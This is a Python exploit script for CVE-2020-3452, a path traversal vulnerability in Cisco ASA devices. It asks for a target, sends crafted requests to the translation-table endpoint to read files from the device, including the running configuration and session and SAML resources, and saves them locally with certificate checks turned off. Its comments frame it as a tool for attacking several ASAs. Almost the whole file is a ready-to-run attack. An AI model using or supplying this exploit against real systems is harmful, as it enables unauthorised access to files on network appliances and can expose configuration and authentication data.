CVE-2020-3452.py - Cisco ASA Path Traversal

import os
import requests

# Written by freakyclown for @CygentaHQ
# Cisco ASA Path Traversal
# CVE-2020-3452
# Usage: CVE-2020-3452.py {target}"
# Example: CVE-2020-3452.py 192.168.0.12"
# Requires - Requests - pip3 install requests
#
# This tool takes advantage of the above cve and attempts to
# download files as listed below, it is suggested that you make
# a working folder for the outputfiles to avoid confusion if
# attacking mutliple ASA's

# set your target
target = input("Enter target IP/Url: ")


def grabstuff():
    for file in files:
        print("trying: ", file)

        #set request parameters
        params = (
            ('type', 'mst'),
            ('textdomain', file),
            ('default-language', ''),
            ('lang', '../'),
        )

        # set the response to the result of the request, inputting in target and params and ignoring ssl cert problems
        response = requests.get('https://'+target+'/+CSCOT+/translation-table', params=params, verify=False)
        # write the file to the disk
        directory = os.path.dirname(file)
        if not os.path.exists(directory):
            os.makedirs(directory)
        f = open(file,"w")
        f.write(response.text)
        f.close()



# this is a list of files available to download, more will be added in time
# if anyone has a list of ASA files, I'd be happy to add here
files = {
"+CSCOCA+/ca_inc.lua",
"+CSCOCA+/crl/asa_ca.crl",
"+CSCOCA+/enroll.html",
"+CSCOCA+/login.html",
"+CSCOE+/041235123432C2",
"+CSCOE+/041235123432U2",
"+CSCOE+/app_index.html",
"+CSCOE+/appstart.js",
"+CSCOE+/appstatus",
"+CSCOE+/ask.html",
"+CSCOE+/auth.html",
"+CSCOE+/autosignon_api.js",
"+CSCOE+/blank.html",
"+CSCOE+/cedf.html",
"+CSCOE+/cedhelp.html",
"+CSCOE+/ced.html",
"+CSCOE+/cedlogon.html",
"+CSCOE+/cedmain.html",
"+CSCOE+/cedportal.html",
"+CSCOE+/cedsave.html",
"+CSCOE+/cert.html",
"+CSCOE+/color_picker.html",
"+CSCOE+/color_picker.js",
"+CSCOE+/common.js",
"+CSCOE+/commonspawn.js",
"+CSCOE+/display_bookmarks.lua",
"+CSCOE+/files/browse.html",
"+CSCOE+/files/domains_retr",
"+CSCOE+/files/file_action.html",
"+CSCOE+/files/files.js",
"+CSCOE+/files/files_retr",
"+CSCOE+/files/webfolder",
"+CSCOE+/files/wfolder",
"+CSCOE+/gp-gip.html",
"+CSCOE+/handler",
"+CSCOE+/help/webvpn_help",
"+CSCOE+/home/index.html",
"+CSCOE+/http_auth.html",
"+CSCOE+/include/browser_inc.lua",
"+CSCOE+/include/common.lua",
"+CSCOE+/include/plugin.lua",
"+CSCOE+/lced.html",
"+CSCOE+/load_bookmarks.lua",
"+CSCOE+/localization_inc.lua",
"+CSCOE+/logo.gif",
"+CSCOE+/logon_custom.css",
"+CSCOE+/logon_forms.js",
"+CSCOE+/logon.html"
"+CSCOE+/logon.html",
"+CSCOE+/logon_redirect.html",
"+CSCOE+/logout.html",
"+CSCOE+/message.html",
"+CSCOE+/noportal.html",
"+CSCOE+/nostcaccess.html",
"+CSCOE+/no_svc.html",
"+CSCOE+/ping.html",
"+CSCOE+/pluginlib.js",
"+CSCOE+/portal_ce.html",
"+CSCOE+/portal.css",
"+CSCOE+/portal_custom.css",
"+CSCOE+/portal_elements.html",
"+CSCOE+/portal_forms.js",
"+CSCOE+/portal.html",
"+CSCOE+/portal_inc.lua",
"+CSCOE+/portal.js",
"+CSCOE+/posturl.html",
"+CSCOE+/preview.html",
"+CSCOE+/relayjar.html",
"+CSCOE+/relaymonjar.html",
"+CSCOE+/relaymonocx.html",
"+CSCOE+/relayocx.html",
"+CSCOE+/running.conf",
"+CSCOE+/saml/sp/acs",
"+CSCOE+/saml/sp/login",
"+CSCOE+/saml/sp/metadata",
"+CSCOE+/save_capture.html",
"+CSCOE+/sdesktop/fail.html",
"+CSCOE+/sdesktop/logout.html",
"+CSCOE+/sdesktop/scan.xml",
"+CSCOE+/sdesktop/tokenrenew.xml",
"+CSCOE+/sdesktop/token.xml",
"+CSCOE+/sdesktop/wait.html",
"+CSCOE+/sdesktop/webstart.xml",
"+CSCOE+/session.js",
"+CSCOE+/session_password.html",
"+CSCOE+/sess_update.html",
"+CSCOE+/shshim",
"+CSCOE+/shshimdo_url",
"+CSCOE+/smart_tunnel_install.html",
"+CSCOE+/st_dl.json",
"+CSCOE+/svc.html",
"+CSCOE+/tlbr",
"+CSCOE+/tlbrportal_forms.js",
"+CSCOE+/tunnel_linux.jnlp",
"+CSCOE+/tunnel_mac.html",
"+CSCOE+/tunnel_mac.jnlp",
"+CSCOE+/useralert.html",
"+CSCOE+/user_dialog.html",
"+CSCOE+/win.js",
"+CSCOE+/wrong_url.html",
"+CSCOL+/cte_fallback.js",
"+CSCOL+/cte.js",
"+CSCOL+/relayparam.js",
"+CSCOL+/sw.js",
"+CSCOL+/xsl.js",
"CSCOSSLC/config-auth",
"+CSCOT+/oem-customization",
"+CSCOT+/translation",
"+CSCOT+/translation-table",
"+CSCOU+/anyconnect_unsupported_version.html",
"+CSCOU+/anyconnect_wrong_url.html",
"+CSCOU+/portal.css",
"+CSCOU+/sample.html",
"locale/manifest_data.lua"
}


# Trying....
try:
    grabstuff()
except Exception as err:
    print("Something went wrong, sorry")
    print(err)